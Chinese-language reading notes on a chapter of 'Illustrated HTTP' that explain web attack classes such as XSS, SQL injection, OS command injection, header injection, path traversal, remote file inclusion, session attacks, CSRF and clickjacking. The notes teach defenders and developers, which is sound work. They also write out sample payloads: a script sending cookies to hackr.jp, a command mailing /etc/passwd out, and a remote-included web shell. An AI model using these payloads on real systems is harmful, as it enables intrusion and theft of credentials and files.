美文网首页
读书笔记_图解HTTP(六)Web攻击技术

读书笔记_图解HTTP(六)Web攻击技术

作者: 我是李小米 | 来源:发表于2019-05-24 17:20 被阅读0次

    读《图解HTTP》记录

    上一篇 读书笔记_图解HTTP(五) 确认访问用户身份的认证以及基于HTTP的功能追加协议

    互联网上的攻击大部分都将Web站点作为攻击目标

    1、针对Web的攻击技术

    简单的HTTP协议本身并不存在安全性的问题,因此协议本身机会不会称为攻击的对象。应用HTTP协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标。
    目前,来自互联网的攻击大多是冲着Web站点来的,它们大多是把Web应用作为攻击目标。


    攻击事件倾向

    1.1、HTTP不具备必要的安全功能

    与最初的设计相比,现在Web网站应用的HTTP协议的使用方式已经发生了很大变化。几乎现今所有的Web网站都会使用会话(session)管理、加密处理等安全性方面的功能,而HTTP协议内并不具备这些功能。
    从整体上看,HTTP就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势。
    就拿远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及会话管理等功能,HTTP协议上则没有。另外在架设SSH服务方面,任何人都可以轻易地创建安全等级高的服务,而HTTP即使已架设好服务器,但若想提供服务器基础上的Web应用,很多情况下都需要重新开发。
    因此,开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果,安全等级并不完备,可仍在运作的Web应用背后却隐藏着这种容易北攻击者滥用的安全漏洞的bug。

    1.2、在客户端即可篡改请求

    在We应用中,从浏览器那接收到的HTTP请求的全部内容,都可以在客户端自由变更、篡改。所以Web应用可能会接收到与预期数据不同的内容。
    在HTTP请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那在内部信息就会遭到窃取,或被攻击者拿到管理权限。


    对Web应用的攻击

    1.3、针对Web应用的攻击模式

    对Web应用的攻击模式有一下两种。

    以服务器为目标的主动攻击

    主动攻击是指攻击者通过访问Web应用,把攻击代码传入攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
    主动攻击模式里具有代表性的攻击是SQL注入攻击和OS命令注入攻击。


    主动攻击
    以服务器为目标的被动攻击

    被动攻击是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标Web应用访问发起攻击。
    被动沟机通常的攻击模式如下:

    • 1、攻击者诱使用户触发已经设计好的陷阱,而陷阱会启动发送已经嵌入攻击代码的HTTP请求。
    • 2、当用户不知不觉中招后,用户的浏览器或者邮件客户端就会触发这个陷阱。
    • 3、中招后的用户浏览器会把含有攻击代码的HTTP请求发送给作为攻击目标的Web应用,运行攻击代码。
    • 4、执行完攻击代码,存在安全漏洞的Web应用会称为攻击者的跳板,可能导致用户所持的Cookie等个人信息被窃取,登录状态中的用户权限会遭恶意滥用等后果。
      被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。


      被动攻击
    利用用户的身份攻击企业内部网络

    利用被动攻击,可发起对原本从互联网上无法直接访问的企业内部等网络的攻击。只要用户踏入攻击者预先设定好的陷阱,在用户能够反问道的网络范围内,即使是企业内网也会收到攻击。

    很多企业内网依然可以连接到互联网,访问Web网站,或接收互联网发来的邮件。这样就可能给攻击者以可乘之机,诱导用户触发陷阱后对企业内网发动攻击。


    利用被动攻击对企业内网发动攻击

    3.2、因输出值转义不完整引发的安全漏洞

    实施Web应用的安全对策可大致分为客户端的验证和Web应用端(服务器)的验证两种。服务器端验证又分为输入值验证和输出值转义。


    验证数据的几个地方

    多数情况下采用JavaScript在客户端验证数据。可是在客户端允许篡改数据或关闭JavaScript,不适合将JavaScript验证作为安全的防范对策。保留客户端验证只是为了尽早地辨别输入错误,起到提高UI体验的作用。

    Web应用端的输入值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常检查是否符合系统业务逻辑的数值或检查字符串编码等预防对策。

    从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。

    2.1 跨站脚本攻击

    跨站脚本攻击是指通过存在安全漏洞的Web网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。动态创建的HTML部分有可能会隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会收到被动攻击。
    跨站脚本攻击有可能造成一下影响。

    • 利用虚假输入表单骗取用户个人信息。
    • 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
    • 显示伪造的文章或图片
    跨站脚本攻击实例
    1、在动态生成HTML处发生
    图1 图2

    图1中确认界面原样显示在编辑界面输入的字符串,图2 中,用户在输入带有HTML标签的字符串时,在确认界面中,浏览器会把<s>解析成HTML标签,然后显示删除线。
    删除线可能不会带来太大不利的后果,但是如果换成<script>等其他标签呢。

    2、XSS是攻击者利用预先设置的陷阱触发的被动攻击

    跨站脚本攻击属于被动攻击模式,因此攻击者会实现布置好用于攻击的陷阱。
    下图网站通过地址栏中URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞。


    充分熟知此漏洞特点的攻击者,于是就创建了一段嵌入恶意代码的URL。并隐藏植入事先准备好的欺诈邮件中或Web页面内,诱使用户去点击该URL。

    http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.act 
    

    浏览器打开该URI后,直观上看不到任何变化,但设置好的脚本却偷偷开始运行了。但用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站,导致个人登录信息被窃取。



    之后,ID及密码会传给该正规网站,而接下来仍然按正常登录步骤,用户很难意识到自己的登录信息已经被窃取了。

    http://example.jp/login?ID=yama 请求时对应的 HTML 源代码(摘录)

    <div class="logo">
      <img src="/img/logo.gif" alt="E! 拍卖会" /> 
    </div> 
    
    <form action="http://example.jp/login" method="post" id="login"> 
    
    <div class="input_id">  ID 
      <input type="text" name="ID" value="yama" /> 
    </div>
    
    http://example.jp/login?ID="> <script>var+f=document.getElementById("login");+f.action="h </script><span+s=" 对请求时对应的HTML源代码(摘录)
    <div class="logo">  
        <img src="/img/logo.gif" alt="E! 拍卖会 /> 
    </div> 
    
    <form action="http://example.jp/login" method="post" id="login"> 
    
    <div class="input_id">  ID 
        <input type="text" name="ID" value="">
        <script>var f=document.getElementById(" 
    </div>
    
    • 对用户Cookie的窃取攻击
      除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的Cookie信息。
    <script src=http://hackr.jp/xss.js></script>
    

    该脚本内指定的http://hackr.jp/xss.js文件,即下面这段采用JavaScript编写的代码。

    var content = escape(document.cookie); 
    document.write("<img src=http://hackr.jp/?"); 
    document.write(content); 
    document.write(">");
    

    在存在跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息就会发送到攻击者的Web网站(http://hackr.jp),记录在他的登录日志中。结果,攻击者就会拿到用户的Cookie信息了。

    使用XSS攻击夺取Cookie信息

    2.2 SQL注入攻击

    2.2.1 会执行非法SQL的SQL注入攻击

    SQL注入攻击是指针对Web应用使用的数据库,通过运行非法SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时候会直接导致个人信息及机密信息的泄露。
    Web应用通常会用到数据库,但需要对数据库表内的数据进行操作时,会使用SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏,就可能执行被恶意注入的非法SQL语句。
    可能造成的影响:

    • 非法查看或篡改数据库内的数据
    • 规避认证
    • 执行和数据库服务器业务关联的程序等
    SQL注入攻击案例

    以某个购物网站的搜索功能为例,讲解SQL注入攻击。通过该功能,我们可以将某作者的名字作为搜索关键字,查找该作者的所有著作。


    SQL注入攻击案例

    正常处理的操作示例
    下图是将“上野宣”作为关键字的搜索结果。


    正常处理操作的示例
    URL的查询字段已经指定q=上野宣,这个值有Web应用闯入到SQL语句中,构成下方的SQL语句。
    从bookTbl表中,显示满足author=上野宣and flag=1所在行的数据。
    SELECT * FROM bookTbl WHERE author = '上野宣' and flag = 1;
    

    数据库内的 bookTbl 表记录着该购物网站的所有书籍信息。通过 SQL 语句,将满足作者名(author)上野宣并且 flag 为 1 双重条 件的条目取出,最后作为搜索结果显示出来。

    查询结果

    SQL注入攻击的操作示例
    把刚才指定查询字段的上野宣改写成“上野宣'--”。


    SQL注入攻击操作示例

    构成的SQL语句就变成了“从数据库的bookTbl表中,显示满足auth=上野宣条件所在行的数据”;

    SELECT * FROM bookTbl WHERE author ='上野宣' - -' and flag=1;
    

    SQL语句中的--之后全部视为注释。及,and flag=1这个条件被自动忽略了。


    结果跟 flag 的设定值无关,只取出满足 author=“上野宣”条件所 在行的数据,这样连那些尚未出版的书籍也一并显示出来了。

    SQL注入攻击破坏SQL语句结构的案例

    SQL注入是攻击者将SQL语句改变成开发者意想不到的形式以达到破坏结构的攻击。

    比如,在之前的攻击案例中,就会把author的字面值“上官宣‘--”的字符串赋值给$q.


    SQL注入攻击的原理

    上图中颜色标记的字符串最开始的单引号(')表示会将author的字面值括起来,以到达第二个单引号后作为结束。因此,author的字面值就面呈了上官宣,而后面的--则不再属于author字面值,会被解析成其他的句法。

    本案例中的问题仅仅是吧未出版书籍的条目也以通显示出来了。但实际发生SQL注入攻击时,很有可能会导致用户信息或结算内容等发生其他数据表的非法浏览及篡改,从而使用户遭受到不同程度的损失。

    2.3 OS命令注入攻击

    OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能用Shell函数的地方就有可能存在被攻击的风险。

    可以从Web应用中使用Shell来调用操作系统命令。若调用Shell时存在疏漏,就可以执行插入的非法OS命令。

    OS命令注入攻击可以向Shell发送命令,让Windows或Linux操作系统的命令行启动程序。也就是说,通过OS注入攻击可执行OS上安装着的各种程序。

    OS注入攻击案例

    下面以咨询表单的发送功能为例,讲解OS注入攻击。该功能可将用户的咨询邮件按已填写的对方邮箱地址发送过去。


    OS注入攻击案例

    下面摘选处理该表单内容的一部分核心代码。

    my $adr = $q->param('mailaddress'); 
    open(MAIL, "| /usr/sbin/sendmail $adr"); 
    print MAIL "From: info@example.com\n";
    

    程序中的open函数会调用sendmail命令发送邮件,而指定的邮件发送地址即$adr的值。
    攻击者将下面的值指定作为邮件地址

    ; cat /etc/passwd | mail hack@example.jp
    

    程序接收该值,构成一下的命令组合。

    | /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp
    

    攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。
    可见,sendmail命令执行被分割后,接下去会执行cat/ect/passwd|mail hack@example.jp这样的命令了。结果,含有Linux账户信息/etc/passwd的文件,就以邮件形式发送给了hack@example.jp

    2.4 HTTP首部注入攻击

    HTTP首部注入攻击(HTTP Header Injection) 是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击。

    向首部主体内添加内容的攻击称为HTTP响应拦截攻击(HTTP Response Splitting Attack)。
    如下,Web应用有时会把从外部接收到的数值,赋值给响应首部字段Location和Set-Cookie.

    Location: http://www.example.com/a.cgi?q=12345 
    Set-Cookie: UID=12345 
    * 12345就是插入值
    

    HTTP首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发起攻击。

    HTTP首部注入攻击有可能造成一下影响。

    • 设置任何Cookie信息
    • 重定向至任意URL
    • 显示任意的主体(HTTP响应截断攻击)
    HTTP首部注入攻击案例

    下面以选定某个类别后即跳转至各个类别对应页面的功能为例,讲解HTTP首部注入攻击。该功能为每个类别都设定了一个类别ID值,一旦选定某个类别,就会将该ID值反映在响应内的Location首部字段内,形如Location:http://example.com/?cat=101。令浏览器发生重定向跳转。

    HTTP首部注入攻击示例

    攻击者以下面的内容代替之前的类别ID后发送请求。

    101%0D%0ASet-Cookie:+SID=123456789
    

    其中,%0D%0A代表HTTP报文中的换行符,紧接着的是可强制将攻击者网站(http://hackr.jp)的会话ID设置成SID=123456789的Set-Cookie首部字段。
    发送该请求之后,假设结果返回以下响应。

    Location:http://example.com/?cat=101(%0D%0A:换行符)
    Set-Cookie:SID=123456789
    

    此刻,首部字段Set-Cookie已生效,因此攻击者可指定修改任意的Cookie信息。通过和会话固定攻击(攻击者可使用指定的会话ID)攻击组合,攻击者可伪装成用户。

    攻击者输入%0D%0A,原来应该属于首部字段Location的查询值部分,但经过解析后,%0D%0A变成了换行符,结果插入了新的首部字段。
    这样一来,攻击者可以在响应中插入任意的首部字段。

    HTTP响应截断攻击

    HTTP响应截断攻击是用在HTTP首部注入的一种攻击。攻击顺序相同,但是要将两个%0D%0A%0D%0A并列插入字符串后发送。利用这两个连续换行可以做出HTTP首部与主体分隔所需的空行了,这样就能显示伪造的主体,达到攻击目的。这样的攻击叫做HTTP响应截断攻击。

    %0D%0A%0D%0A<HTML><HEAD><TITLE>之后,想要显示的网页内容 <!-
    

    在可能进行HTTP首部注入的环节,通过发送上面的字符串,返回结果可能得到以下这种响应。

    Set-Cookie: UID=(%0D%0A :换行符) 
    (%0D%0A :换行符) 
    <HTML><HEAD><TITLE>之后,想要显示的网页内容 <!--(原来页面对应的首部字
    

    利用这个攻击,已触发陷阱的用户浏览器会显示伪造的Web页面,再让用户输入自己的个人信息等,可到到和跨站脚本攻击相同的效果。

    另外,滥用HTTP/1.1中汇集多响应返回功能,会导致缓存服务器对任意内容进行缓存操作。这种攻击称为缓存污染。使用该缓存服务器的用户,在浏览遭受攻击的网站时,会不断地浏览被替换掉的Web页面。

    2.5 邮件首部注入攻击

    邮件首部注入是指Web应用中的邮件发送功能,攻击者通过向邮件首部TO或Subject内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。

    邮件首部注入攻击案例

    下面以Web页面中的咨询表单为例讲解 邮件首部注入攻击。该功能可在表单内填入咨询者的邮件地址及内容后,以邮件的方式发送给网站管理员。

    邮件首部注入攻击

    攻击者将以下数据作为邮件地址发起请求

    bob@hackr.jp%0D%0ABcc: user@example.com 
    

    %0D%0A在邮件报文中表示换行。一旦咨询表单所在的Web应用接收了这个换行符,就可能实现对Bcc邮件地址的追加发送,而这原本是无法指定的。
    另外像下面一样,使用连续两个换行符就可能床盖邮件文本内容并发送。

    bob@hackr.jp%0D%0A%0D%0ATest Message
    

    再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作。

    2.6 目录遍历攻击

    目录遍历攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也成为路径遍历攻击。
    通过Web应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用.../等相对路径定位到/ect/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除Web服务器上的文件。
    固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。

    目录遍历攻击案例

    以下是显示读取文件功能为例,讲解目录遍历攻击。该功能通过一下查询字段,指定某个文件名。然后从/www/log/文件目录下读取这个指定的文件。

    http://example.com/read.php?log=0401.log
    

    攻击者设置如下查询字段后发起请求。

    http://example.com/read.php?log=.../.../ect/passwd
    

    查询字段为了读取攻击者盯上的/ect/passwd文件,会从/www/log/目录开始定位相对路径。如果这份read.php脚本接收对指定目录的访问请求处理,那么原本不公开的文件就存在可被访问的风险。


    目录遍历攻击案例

    2.7 远程文件包含漏洞

    远程文件包含漏洞是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可以运行任意脚本的一种攻击。
    这主要是PHP存在的安全漏洞,对PHP的include或require来说,这是一种可通过设定,指定外部服务器的URL作为文件名的功能。但是,该功能太危险,PHP5.2.0之后就默认设定此功能无效。

    固然存在输出值转义的问题,但是更应该控制对任意文件名的指定。

    远程文件包含漏洞的攻击案例

    下面以include 读入由字段指定文件的功能为例,讲解远程文件包含漏洞。该功能可通过以下查询字段形式指定文件名,并在脚本内的include语句处读入这个指定文件。

    http://example.com/foo.php?mod=news.php
    

    对应脚本的源码如下:
    http://example.com/foo.php 的源代码(部分摘录)

    $modname = $_GET['mod']; 
    include($modname);
    

    攻击者指定如同下面形式的 URL 发出请求。

    http://example.com/foo.php?mod=http://hackr.jp/cmd.php&cmd=ls
    

    攻击者已事先在外部服务器上准备了以下这段脚本。
    http://hackr.jp/cmd.php 的源代码

    <? system($_GET['cmd']) ?>
    

    假设Web服务器的include可以引入外部服务器的URL,那就会读入攻击者在外部服务器上事先准备的URL(http://hackr.jp/cmd.php)。结果,通过system函数就能在Web服务器(example.com)上执行查询字段指定的OS命令了。

    远程文件包含漏洞的攻击案例

    在以上攻击案例中,执行了可显示Web服务器(example.com)上文件及目录信息的ls命令。

    3、因设置或设计上的缺陷引发的安全漏洞

    因设置或设计上的缺陷引发的安全漏洞是指,错误设置Web服务器,或是由于设计上的一些问题引发的安全漏洞。

    3.1、强制浏览

    强制浏览安全漏洞是指,从安置在Web服务器的公开目录下的文件中,浏览那些原本非自愿公开的文件。
    强制浏览有可能会造成的影响:

    • 泄露顾客的个人信息等重要情报
    • 泄露原本需要具有访问权限的用户才可查阅的信息内容
    • 泄露未外连到外界的文件
      对那些原来不愿公开的文件,为了保证安全会隐蔽其URL。可一旦知道了那些URL,也就意味着可浏览URL对应的文件。直接显示内容推测的的文件名或文件目录索引时,通过某些方法可能会使URL产生泄露。
    文件目录一览

    http://www.example.com/log/
    通过指定文件目录名称,即可在文件一览中看到显示的文件名。

    容易被推测的文件名及目录名

    http://www.example.com/entry/entry_081202.log
    文件名容易推测(按上面的情况,可推出下一个文件可能是entry_081203.log)

    备份文件

    http://www.example.com/cgi-bin/entry.cgi(原始文件)
    http://www.example.com/cgi-bin/entry.cgi~(备份文件)
    http://www.example.com/cgi-bin/entry.bak(备份文件)
    由编辑软件自动生成的额备份文件无执行权限,有可能直接以源码形式显示

    经认证才可显示的文件

    直接通过URL访问原本必须经过认证才能在Web页面上使用的文件(HTML文件、图片、PDF等文档、CSS以及其他数据等)

    强制浏览导致安全漏洞的案例

    下面我们以会员制度的SNS日记功能为例,讲解强制浏览可能导致的安全漏洞。该日记功能保证了除具有访问权限的用户本人以外,其他人都不能访问日记。


    强制浏览导致安全漏洞的案例

    该日记中包含的图像照片的源代码如下所示

    <img src="http://example.com/img/tRNqSUBdG7Da.jpg">
    

    即使没有对这篇日记的访问权限,只要知道这图片的URL,通过直接指定URL的方式就能显示该图片。日记的功能和文本具有访问对象的控制,当不具备对图片访问对象的控制,从而产生了安全漏洞。像简书软件中未发表的文章中,包含图片的地址,同样只要用图片地址就能访问到该图片,这同样产生了安全漏洞。

    3.2、不正确的错误消息处理

    不正确的错误消息处理的安全漏洞是指,Web应用的错误消息内包含对攻击者有用的信息。与Web应用有关的主要错误信息如下:

    • Web应用抛出的错误消息
    • 数据库等系统抛出的错误消息
      Web应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能会给他们下一次攻击以提示。
    不正确的错误消息处理导致安全漏洞的案例
    Web应用抛出的错误消息

    下面以认证功能的认证错误消息为例,讲解不正确的错误消息处理方式。该认证功能,在输入表单内的邮件地址及密码匹配发生错误时,会提示错误信息。


    不正确的错误消息处理导致安全漏洞的案例

    上方画面提示“邮件地址未注册”的错误消息。当输入的邮件地址 尚未在该 Web 网站上注册时,就会触发这条错误消息。因为倘 若邮件地址存在,应该会提示“输入的密码有误”之类的错误消息。

    攻击者利用进行不同的输入会提示不同的错误信息这条,就可用 来确认输入的邮件地址是否已在这个 Web 网站上注册过了。

    为了不让错误消息给攻击者以启发,建议将提示消息的内容仅保 留到“认证错误”这种程度即可。

    数据库等系统抛出的错误消息

    下面我们以搜索功能提示的错误信息为例,讲解不正确的错误消息处理。本功能用于检索数据,当输入位于莱的字符串时,会提示数据库的错误。

    下面以人很功能的认证错误消息为例,讲解不正确的错误消息处理。该认证功能在输入表单内的邮件地址及密码匹配发生错误时,会提示错误消息。


    不正确的错误消息处理导致安全漏洞的案例

    上方的画面中显示了与SQL有关的错误信息。对开发者而言,该信息或许在Debug时回有帮助,当对用户毫无用处。
    攻击者从这条消息中可读出数据库是MySQL,甚至还能看见SQL语句的片段。可能给攻击者进行SQL注入攻击以启发。系统抛出的错误主要集中在以下几个方面。

    • PHP或ASP等脚本错误
    • 数据库或中间件的错误
    • Web服务器的错误
      各系统应对详细的错误消息进行抑制设定,或使用自定义错误消息,以避免某些错误信息给攻击者以启发。

    3.3、开放重定向

    开放重定向是一种对指定的任意URL作重定向跳转的功能。由于此功能相关联的安全漏洞是指,加入指定的重定向URL到某个具有恶意的Web网站,那么用户就会诱导至那个Web网站。

    开放重定向的攻击案例

    我们以下面的URL做重定向为例,讲解开放重定向攻击案例。该功能就是向URL指定参数后,使本来的URL发生重定向跳转。

    http://example.com/?redirect=http://www.tricorder.jp
    

    攻击者把重定向的参数写成已设好的陷阱Web网站对应的连接,如下所示。

    http://example.com/?redirect=http://hackr.jp
    

    用户看到URL后原本以为访问的example.com,不料实际被诱导至hackr.jp这个指定的重定向目标。
    可信度的Web网站如果开放重定向功能,就很有可能被攻击者选中并用来作为钓鱼攻击的跳板。

    4、因设置或设计上的缺陷引发的安全漏洞

    会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。

    4.1、会话劫持

    会话劫持是指攻击者通过某种手段拿到了用户的会话ID,并非法使用次会话ID伪装成用户,达到攻击的目的。


    会话劫持

    具备认证功能的Web应用,使用会话ID的会话管理机制,作为管理认证状态的主流方式。会话ID中记录客户端的Cookie等信息,服务器端将会话ID与认证状态进行一对一匹配管理。
    下面列举几种攻击者可获得会话ID的途径。

    • 通过非正常的生成方法推测会话ID
    • 通过窃听或XSS攻击盗取会话ID
    • 通过会话固定攻击前线获取会话ID
    会话劫持攻击案例

    下面以认证功能为例讲解会话劫持。这里的认证功能通过会话管理机制,会见成功认证的用户会话ID保存在用户浏览器的Cookie中。

    会话劫持攻击案例

    攻击者在得知该Web网站存在可跨站攻击(XSS)的安全漏洞后,就设置好用JavaScript脚本调用document.cookie以窃取Cookie信息的陷阱,一旦用户踏入陷阱,攻击者就能获取含有会话ID的Cookie.
    攻击者拿到用户会话ID后,会往自己的浏览器的Cookie中这是该会话ID,即可伪装成会话ID遭窃的用户,访问Web网站了。

    4.2、会话固定攻击

    对以窃取目标会话ID为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。

    会话固定攻击案例

    下面我们以认证功能为例讲解会话固定攻击。这个Web网站的认证功能,会在认证前发布一个会话ID,若认证成功,就会在服务器内部改变认证状态。


    会话固定攻击案例

    攻击者会准备陷阱,先访问Web网站拿到会话ID(SID==f5d1278e8109),此刻,会话ID会在服务器上的记录仍然是未认证状态(步骤1~2);
    攻击者设置好强制用户使用该会话ID的陷阱,并等待用户拿着这个会话ID前去认证。一旦用户触发陷阱并完成认证,会话ID(SID=f5d1278e8109)在服务器上的状态(用户A已认证)就会被记录下来(步骤3)
    攻击者估计用户差不多已触发陷阱后,再利用之前这个会话ID访问网站。由于该会话ID目前是已经认证状态,于是攻击者作为用户A的身份顺利登录网站。(步骤4)
    Session Adoption
    Session Adoption 是指PHP或ASP.NET能够接收处理未知会话ID的功能。
    恶意使用该功能变可跳过会话固定攻击的准备截断,从Web网站获得发行的会话ID的步骤。即,攻击者可私自创建会话ID构成陷阱,中间件却会误以为该会话ID是未知会话ID而接受。

    4.3、跨站点请求伪造

    跨站点请求伪造攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击。
    跨站点请求伪造会有可能造成以下影响:

    • 利用已通过认证的用户权限更新设定信息等
    • 利用已通过认证的用户权限购买商品
    • 利用已通过认证的用户权限购在留言板上发表言论
    跨站点请求伪造的攻击案例

    下面以留言板功能为例,讲解跨站点请求伪造。该功能只允许已认证并登录的用户在留言板上发表内容。


    跨站点请求伪造的攻击案例

    在该留言板系统上,受伤害用户A是已经认证状态。它的浏览器中的Cookie持有已认证的会话ID(步骤1)
    攻击者设定好一旦用户访问,即会发送在留言板上发表非主观行为产生的评价的请求的陷阱。用户A的浏览器执行完陷阱中的请求后,留言板也就会留下那条评论(步骤2)
    触发陷阱之际,如果用户A尚未通过认证,则无法利用用户A的身份权限在留言板上发表内容。

    5、其他安全漏洞

    5.1、密码破解

    密码破解攻击即算出密码,突破认证。攻击不限于Web应用,还包括其他的系统(如FTP或SSH等),本节将会讲解对具备认证功能的Web应用进行的密码破解。
    密码破解有两种手段,一个是通过网络的密码试错,另一个是对已加密密码的破解(指攻击者如今系统,已获取加密或散列处理的密码数据的情况)

    通过网络的密码试错

    对Web应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。主要有以下两种方式。

    • 穷举法
      穷举法又称暴力破解法,是针对所有密钥集合构成的密钥空间进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。

    比如银行采用的个人识别码是由“4位数字”组成的密码,那么就要从0000~9999中的全部数字逐个进行尝试。这样必定在候选的密码集合中存在一个正确的密码,可以通过认证。

    因为穷举法会尝试所有的候选密码,所以是一种必然能够破解密码的攻击。但是,当密钥空间很庞大时,解密可能需要花费数年,甚至前年时间,因此从现实角度考量,攻击是失败的。

    • 字典攻击
      字典攻击是指利用事先手机号的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。

    还是用刚才银行的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将0101~1231保存成字典,然后尝试。

    与穷举法相比,由于需要尝试的候选密码较少,意味着攻击消耗的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容。


    穷举法和字典攻击

    利用别处泄密的ID密码进行攻击

    字典攻击中有一种利用 其他Web网站已经泄露的ID以及密码列表进行的攻击。很多用户习惯随意地在多个Web网站使用同一套ID及密码,因此攻击会有相当高的成功率

    对已加密密码的破解

    Web应用在保存密码时,一般不会直接以明文的方式保存,通过散列函数做散列处理或加salt的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解密等手段,把加密处理的密码还原成明文形式。


    破解已加密的密码

    从加密过的数据中导出明文通常有以下几种方式

    通过穷举法、字典攻击进行类推

    针对密码使用散列数进行加密处理的情况,采用穷举法或字典攻击相同的手法,尝试调用相同的散列函数加密候选密码,然后把计算出的散列值与目标散列值匹配,类推出密码。

    破解已加密的密码 / 通过穷举法·字典攻击进行类推
    彩虹表

    彩虹表是由明文密码及与之对应的散列值构成的一张数据库表,是一种通过事先制作庞大的彩虹表,可在穷举法、字典攻击等实际破解过程中缩短消耗时间的技巧。从彩虹表内搜索散列值就可以推导出对应的明文密码。

    破解已加密的密码 / 彩虹表

    为了提高攻击成功率,拥有一张海量数据的彩虹表就成了必不可少的条件。例如在 Free Rainbow Tables 网站上公布的一张由大 小写字母及数字全排列的 1~8 位字符串对应的 MD5 散列值构成 的彩虹表,其大小约为 1050 吉字节。

    5.2、点击劫持

    点击劫持是指利用透明的按钮或链接做成陷阱,覆盖在Web页面上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。

    已设置陷阱的Web页面,表面上内容并无不妥,但是早已埋入想让用户点击的链接。当用户点击到透明的按钮时,实际上是点击了已制定透明属性元素的iframe页面。

    点击劫持的攻击案例

    下面以SNS网站的注销功能为例,讲解点击劫持攻击。

    点击劫持

    攻击者在预料用户会点击的Web页面上设下陷阱。上图中钓鱼游戏页面上的PLAY按钮就是这类陷阱的实例。

    在做过手脚的Web页面上,目标的SNS注销功能页面将作为透明层覆盖在游戏页面上。覆盖时,要保证PLAY按钮与注销按钮在同一个位置。

    iframe 页面中使用透明可点击按钮的示例

    <iframe id="target" src="http://sns.example.jp/leave" style="opaci <button style="position:absolute;top:100;left:100;z-index:-1">
    

    由于 SNS 网站作为透明层被覆盖,SNS 网站上处于登录状态的 用户访问这个钓鱼网站并点击页面上的 PLAY 按钮之后,等同于 点击了 SNS 网站的注销按钮。

    5.3、DoS攻击

    DoS攻击是一种让运行中的服务呈停止状态的攻击。有时也叫做服务挺直攻击或拒绝服务攻击。DoS攻击的对象不限于Web网站,还包括网络设备及服务器等。
    主要有以下两种DoS攻击方式。

    • 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈挺直状态。
    • 通过攻击安全漏洞使服务停止。
      其中,集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分表何为正常请求,何为攻击请求,因此很难防止DoS攻击。


      DoS攻击

    多台计算机发起的DoS攻击称为DDoS攻击。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。

    5.4、后门程序

    后门程序是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能使用原本受限的功能。
    通常后门程序分为三种类型:

    • 开发截断作为Debug调用的后门程序
    • 开发者为了自身利益植入的后门程序
    • 攻击者通过某种方法设置的后门程序

    可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。

    相关文章

      网友评论

          本文标题:读书笔记_图解HTTP(六)Web攻击技术

          本文链接:https://www.haomeiwen.com/subject/skdkkqtx.html